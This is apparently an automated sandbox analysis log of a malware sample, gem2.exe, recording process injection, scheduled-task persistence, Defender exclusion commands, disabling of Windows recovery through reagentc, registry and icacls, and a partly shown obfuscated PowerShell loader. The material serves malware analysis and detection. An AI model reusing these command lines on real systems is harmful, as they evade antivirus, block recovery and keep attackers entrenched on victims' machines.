Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2780000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2360000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 830000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2BA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: DF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 26D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2500000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2250000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 28C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 760000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 12B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: FE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 7D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2BF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2D70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 24B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2300000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 7D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 12E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 14B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 27E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 14A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2820000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: D40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 12F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1190000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2A10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2830000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2360000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1010000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2F20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: EB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2140000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2430000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2F90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 760000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: D40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 3C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2520000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1100000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 9A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 26E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2C30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2EA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2880000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2910000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2FD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 250000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2670000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2300000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1090000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 630000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: B10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 13D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: D50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 9A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 10A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8337D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2112DE50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F5A9650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9A25C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 173D0380000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 237164F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1C59D2E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2AC381E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2AC38210000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 23245EF0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F5A9380000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F5A9390000

Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: shared_ptr,GetModuleHandleW,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,GetCurrentProcessId,OpenProcess,ReadProcessMemory,ReadProcessMemory,GetWindowsDirectoryW,GetModuleFileNameW,ReadProcessMemory,ReadProcessMemory,CloseHandle, \explorer.exe		14_2_00007FF6A54A20A0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: shared_ptr,GetModuleHandleW,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,GetCurrentProcessId,OpenProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,GetWindowsDirectoryW,GetModuleFileNameW,ReadProcessMemory,ReadProcessMemory,CloseHandle, \explorer.exe		17_2_00007FF7D16320A0

Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get serialnumber	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get serialnumber	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ReAgentc.exe reagentc /disable	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{d5abccfd-b418-4ad6-92a2-7793c4b25dc9}	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\takeown.exe takeown /f C:\Windows\System32\reagentc.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /grant administrators:F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:etrmmuykmezi{param([outputtype([type])][parameter(position=0)][type[]]$lqotnkeziwxxmy,[parameter(position=1)][type]$pzbfqvixvd)$sbbqvxxfari=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+'r'+'e'+[char](102)+''+'l'+''+[char](101)+''+[char](99)+'t'+[char](101)+''+'d'+''+'d'+''+[char](101)+''+[char](108)+''+'e'+'ga'+'t'+'e')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+'nm'+[char](101)+'m'+[char](111)+''+[char](114)+'y'+[char](77)+'od'+'u'+'l'+[char](101)+'',$false).definetype(''+'m'+''+[char](121)+''+[char](68)+'e'+[char](108)+''+'e'+''+'g'+''+[char](97)+''+[char](116)+''+[char](101)+''+[char](84)+''+'y'+''+[char](112)+''+[char](101)+'','c'+'l'+''+'a'+''+[char](115)+''+'s'+''+[char](44)+''+[char](80)+''+[char](117)+''+'b'+''+[char](108)+'i'+[char](99)+''+[char](44)+'s'+[char](101)+''+[char](97)+'led'+[char](44)+'a'+[char](110)+''+[char](115)+''+'i'+''+'c'+''+[char](108)+''+'a'+'s'+[char](115)+''+[char](44)+''+[char](65)+''+[char](117)+'to'+'c'+'l'+'a'+''+[char](115)+''+'s'+'',[multicastdelegate]);$sbbqvxxfari.defineconstructor(''+[char](82)+''+'t'+''+[char](83)+''+[char](112)+''+[char](101)+''+'c'+'i'+[char](97)+''+[char](108)+''+[char](78)+'a'+[char](109)+''+[char](101)+''+','+''+[char](72)+''+'i'+''+[char](100)+'e'+'b'+''+'y'+''+[char](83)+'i'+[char](103)+''+[char](44)+'p'+[char](117)+''+[char](98)+''+[char](108)+''+[char](105)+''+'c'+'',[reflection.callingconventions]::standard,$lqotnkeziwxxmy).setimplementationflags(''+[char](82)+''+[char](117)+''+[char](110)+''+[char](116)+''+[char](105)+'m'+[char](101)+''+','+''+[char](77)+''+'a'+''+[char](110)+''+[char](97)+''+[char](103)+'ed');$sbbqvxxfari.definemethod(''+'i'+''+[char](110)+''+'v'+''+'o'+''+[char](107)+''+'e'+'',''+'p'+''+'u'+''+[char](98)+''+[char](108)+''+'i'+''+[char](99)+''+[char](44)+'h'+[char](105)+''+[char](100)+'e'+'b'+''+'y'+''+[char](83)+'i'+[char](103)+''+','+''+[char](78)+''+[char](101)+''+[char](119)+''+[char](83)+''+'l'+'ot'+[char](44)+'v'+[char](105)+''+[char](114)+'tual',$pzbfqvixvd,$lqotnkeziwxxmy).setimplementationflags('ru'+'n'+''+'t'+''+'i'+''+[char](109)+''+[char](101)+''+[char](44)+''+[char](77)+''+[char](97)+'n'+[char](97)+''+[char](103)+''+[char](101)+''+'d'+'');write-output $sbbqvxxfari.createtype();}$molktxqtnxyrw=([appdomain]::currentdomain.getassemblies()|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals(''+'s'+''+[char](121)+'st'+'e'+'m'+'.'+''+[char](100)+''+[char](108)+''+'l'+'')}).gettype(''+'m'+''+[char](105)+''+[char](99)+''+[char](114)+'o'+[char](115)+''+[char](111)+''+[char](102)+''+[char](116)+''+[char](46)+''+'w'+''+[char](105)+''+[char](110)+''+[char](51)+''+[char](50)+''+[char](46)+''+[char](85)+'ns'+'a'+''+[char](102)+''+[char](101)+''+[char](78)+''+'a'+''+[char](116)+''+[char](105)+''+'v'+''+[char](101)+'m'+[char](101)+

Source: C:\Windows\System32\System-f4855f59e0.exe

Code function: 14_2_00007FF6A54A5790 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

14_2_00007FF6A54A5790

Source: dwm.exe, 0000003D.00000002.2559217301.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000003D.00000000.1539424742.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerd
Source: winlogon.exe, 00000036.00000000.1514410489.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000036.00000002.2551678749.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000003D.00000000.1541202324.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000036.00000000.1514410489.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000036.00000002.2551678749.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000003D.00000000.1541202324.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000036.00000000.1514410489.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000036.00000002.2551678749.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000003D.00000000.1541202324.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: winlogon.exe, 00000036.00000000.1514410489.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000036.00000002.2551678749.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000003D.00000000.1541202324.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 9_3_000001F5A9663290 cpuid

9_3_000001F5A9663290

Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_00007FF6A54FF600
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetLocaleInfoEx,	14_2_00007FF6A54DC884
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetLocaleInfoW,	14_2_00007FF6A54F4750
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: EnumSystemLocalesW,	14_2_00007FF6A54F4210
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_00007FF6A54FFE64
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetLocaleInfoW,	14_2_00007FF6A54FFF14
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_00007FF6A5500048
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_00007FF6A54FFAC4
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: EnumSystemLocalesW,	14_2_00007FF6A54FF95C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: EnumSystemLocalesW,	14_2_00007FF6A54FFA2C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetLocaleInfoW,	14_2_00007FF6A54FFD0C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,__crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	16_2_00000173CFC03080
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: EnumSystemLocalesW,	17_2_00007FF7D1684210
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	17_2_00007FF7D168F600
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetLocaleInfoEx,	17_2_00007FF7D166C884
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetLocaleInfoW,	17_2_00007FF7D1684750
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: EnumSystemLocalesW,	17_2_00007FF7D168FA2C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	17_2_00007FF7D168FAC4
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: EnumSystemLocalesW,	17_2_00007FF7D168F95C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetLocaleInfoW,	17_2_00007FF7D168FD0C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	17_2_00007FF7D168FE64
